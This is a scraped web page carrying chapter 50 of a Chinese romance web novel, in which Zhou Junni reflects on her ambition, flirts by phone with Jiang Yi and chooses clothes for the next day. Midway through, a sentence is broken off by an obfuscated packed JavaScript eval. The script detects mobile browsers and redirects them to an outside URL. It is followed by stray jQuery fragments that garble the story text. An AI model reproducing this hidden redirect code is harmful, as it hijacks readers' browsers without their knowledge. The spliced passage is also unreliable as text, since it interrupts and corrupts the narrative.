50.直白

作品:《月照孤舟

    预留了塞车、休息的时间,江逸估摸着周君霓这个时候应该到了燕南,所以打电话来。


    周君霓自觉不是脆弱的人,至少从她少年时期开始独立学习生活起,到今日,这段超十年的漫长时光,就是遇到天要塌下来般的严重挫折,她都没有掉过眼泪。至于在乘州失态,也是有原因的。


    今晚这一阵莫名的孤独空虚感是从何而来,周君霓始终未知。


    直到看见江逸来电,周君霓才意识到,她之所以觉得孤独,是因为她就是孤军奋战。


    说得励志一些,周君霓是王者独行,是防止语以泄败,是发起攻击前低头的老虎。


    说得直接一些,就是周君霓没有可以交付真心,可以绝对信任的人。


    哪怕是江逸这个即将要成为她订婚对象的、她认识长达二十年的人,周君霓也没办法向他袒露一切。


    因为周君霓明白,她选择江逸订婚,第一层原因绝对不是,也不会是浅显的喜欢。


    周君霓不是傻子,她需要的也不是真正意义上的仆人,如果江逸没有取得现如今的成绩和地位,就是再怎么顺从她,再怎么让她感到心动,她也不会向他提出结婚请求的。


    一路走,一路悟,在成长道路上,周君霓遇到过不少让她深刻认识到自己在往上、往深处生长的时刻。


    有很多人,无论是营销号,还是不熟悉的同学、合作方,他们都说过,周君霓是为达目的不择手段的人,疯狂到连牺牲自己都不在乎。


    周君霓自己也这么认为,她就是可以为了达成目标付出一切的人。


    只是周君霓偶尔会迷茫,她的目标是什么?她为什么要为了达到这个成就,牺牲掉自己的生活体验?


    甚至......她还要牺牲自己的人身安全吗?


    周君霓在心底不断反问自己,她一路走来是为了什么?她想要继续向上攀爬又是为了什么?


    来电铃声随之结束。


    周君霓依旧没有答案,手机也没有再响起第二次,但周君霓已经清醒过来,转身回到客厅,把手机放去充电,她则是去洗澡。


    因为腰上伤口,周君霓只能不断浸湿毛巾擦拭身体,动作缓慢又重复,却让她慢慢静下了心。


    抬头望见镜中明显红了眼眶的自己,周君霓却笑了出来,因为她再次对自己的茫然有了回答。


    她要往上走,因为她要亲手掌权,她要一切受她控制,她要担惊受怕的人不再是她,她要企图伤害她的人望而却步,她要没有人再敢对她起什么歪心思。


    清洁完,换上睡裙,周君霓坐到客厅舒适柔软的沙发上,打开电视后回拨了个语音给江逸。


    周君霓是和周君诚一起离开贺宁的,所以江逸不担心周君霓的安全问题。她没接到电话,江逸也以为她是还在路上,或是在吃饭、洗漱,就没有接连打扰。


    周君霓回拨的也不是视频,江逸看不见她已经换上睡裙,第一句话便是问:“刚刚是去洗澡了吗?”


    周君霓已经恢复元气活力,语调上扬着嗯了声。


    江逸被她声音中传递出来的好心情感染,笑问:“那现在在干什么?”


    “在......”周君霓正想如实回答,却灵光一现,话锋一转,说:“想你。”


    这样老套的回复套路,江逸却是第一次听,又因为说话对象是周君霓,他一下晕得找不着北了,脸颊又迅速升温泛红。


    江逸不出声回答,周君霓也没打算放过他,反问道:“你呢?你在干什么?”


    江逸正坐在桌前翻阅随身带来贺宁的书籍,按照平时,他一定会一字一句告诉周君霓他在看书,然后再报一遍书名的。


    可有了周君霓的想你在前,江逸就忘记了自己原先在做什么。


    “我......”


    江逸低头看了眼,把手里的书合上,放回桌面,无心封面上的书名,只是对电话那头的人说:“我也在想你。”


    周君霓哦了声,笑道:“那就好,不准想其他人。”


    江逸说:“好。”


    电视里的频道正在放爱情剧,似乎是闹了什么矛盾,两人在吵架,而后男生提出了分手。


    周君霓听了两句台词后发问:“江逸,你谈过恋爱吗?”


    “嗯?”


    电视音量小,江逸听不清主角吵架的台词,只当是周君霓开始好奇了,他说:“没有。”


    周君霓刚刚问那么一句确实是突发奇想,可听见江逸的回答,周君霓才想起,她还没有完全了解清楚江逸的感情过往,就向他发出了结婚邀请。


    因为周君霓看中的是,网络上、报刊上各种有关江逸的报道都没有提到过他的感情生活,更别提什么缠身绯闻。


    表面上没有,足以应付家中长辈。


    那私底下呢?谁知道私下有没有?


    大概是恋爱中特有的占有欲作祟,周君霓此刻特别想知道,江逸这些年有没有喜欢过谁,又是否和对方在一起牵扯过。


    江逸明确表示没有,周君霓却不大相信,追问道:“那你,没有喜欢过谁吗?或者说主动......”


    “没有。”江逸打断周君霓,直言道:“我只喜欢你,从以前到现在。”


    周君霓原先懒洋洋地斜着侧靠在沙发上,听见这句话后,瞬间坐直身体。


    “你......”


    有不少合作方都会通过这种“画大饼”的话语来忽悠周君霓,她每回都能看出来并且打着哈哈绕过去,但这回,倒是她被带进去,不知道怎么回应了。


    江逸说:“我怎么了?我没骗你。”


    周君霓抿着唇,又站起身去拿电视遥控器,说:“哦,没事,我刚在看电视。”


    周君霓毫不犹豫就换了个纪录片频道,因为她要有意识地避免和江逸过分亲近,尽管她听见江逸直抒胸臆也难掩心中波澜。


    周君霓只能劝解自己,这是她一直主动引导的成效,江逸作为“学生”,还算过关。


    顺手拿了茶几上的水瓶喝水,周君霓转移话题问:“今天下午去学校还顺利吗?”


    江逸顺着她的话嗯了声,说:“就是有个球员摔了一跤,小腿擦伤了点。”


    球员受伤?


    周君霓瞬间清醒,哪儿还管什么喜欢不喜欢,心动不心动的,连连发问道:“伤得严重吗?队医在场吧?她来得及时吗?”


    “不严重。”江逸回答说,“队医就跟在旁边,第一时间到了现场,球员只是擦破了点皮,没伤到骨头。”


    “那就好。”周君霓松了口气,接着说:“你也早点休息吧,这周还有两天呢。”


    江逸应声好,和周君霓道晚安。


    周君霓补充说:“你当心点,别受伤了。”


    江逸顺手摸了摸左腿膝盖,嗯了声,说:“我会的。”


    时间不算太晚,挂断电话


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690226|138178||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    后,周君霓倒也没真去睡觉休息,而是去拿了电脑。


    周君霓好几天没有处理过公司的事,虽然没有重要到需要叶溪连夜通知她处理的大问题,小事儿也不少,堆着又是一座小山。


    看完大半七零八碎的文件,周君霓想起横店那部拍摄中的古装剧和她的王牌艺人兼朋友沈度,又捞起手机准备给他发信息以作关心。


    已经凌晨,周君霓没打电话没发语音,用文字问:「这几天拍戏还顺利吗?」


    周君霓知道沈度睡得早,这个时间不会立马回复她。


    又点开智能音响放音乐后,周君霓走进浴室漱口。


    顺带基础护肤完,周君霓没回卧室,而是随机走进了另一间房。


    周君霓的这套房子是平层,面积不大,三百多平,有五个房间,除了一个是她睡觉的卧室,其余四间都摆满了她的衣服、鞋子、首饰,和她嫌麻烦很少带出门的包。


    周君霓是打算现在就把她明天要穿出门的衣服挑出来,省得明天纠结太久,耽误时间。


    衣帽房里的服饰先是按照颜色分类的,周君霓想着,她明天要去的是Cathy的设计工作室,那里花花绿绿,她可以穿得简约素净一些。


    走到白色系的收纳柜前,周君霓左右打量,最后决定穿连衣裙,因为她是去Cathy那儿试礼服的,这样方便。


    不过,就算是精准定位到了白色连衣裙上,周君霓都有得一顿翻找。


    她左挑右拣,最后选出来了浴袍似的裹身连衣裙、西装连衣裙、以及郁金香形带荷叶边的连衣裙。


    周君霓把这三条裙子并排挂在一起,拍了张照发给江逸,问:「我明天穿哪件好点?」


    发完信息,周君霓坐到边上的沙发,细细端详眼前的裙子。


    裙子的颜色都差不多,米白、灰白、珠光白,就是款式不同,周君霓能选出来就说明她每一套都想穿上身,所以她摇摆不定。


    江逸已经收起书躺上床休息,但刚过十二点,他没睡深,听见提示音就爬起来开了床头的夜灯。


    发现是周君霓给他发的信息,江逸干脆把主灯也打开,背靠着床头,放大细看那三条裙子。


    江逸对时尚和女装没什么研究,只是在脑中想象过这三条裙子的穿脱方式后,回复周君霓说:「中间的」


    周君霓顺着信息抬头看,中间的是像浴袍的裹身连衣裙,下裙摆是倾斜的开叉,穿在身上走起路来会随风荡漾。


    周君霓问:「为什么穿这件?」


    江逸说:「这件看起来方便,穿的时候不容易扯到伤口」


    伤......


    周君霓又忘了她身上有伤这回事。


    她再看那条裙子,只是外观酷似浴袍,穿脱方式却不和浴袍一样便捷,毕竟是要穿出门去的衣服,太松弛容易走光。


    这么一想,周君霓发现她的思路一开始就是错误的,她只记得要方便她换礼服,却把伤口忘记了。


    「明天要去哪?」


    江逸第二条信息又接着发来。


    他好奇行程目的地,关心周君霓肯定是首要的,其次嘛,那就是除了睡裙和上次的寿宴之外,他没亲眼见过,也想象不出来会是什么重要场合需要周君霓穿裙子出席。


    裙子这一项作废,周君霓又得重新纠结明天穿什么,但她没有头绪。


    见江逸也没睡,周君霓干脆拨了个语音过去。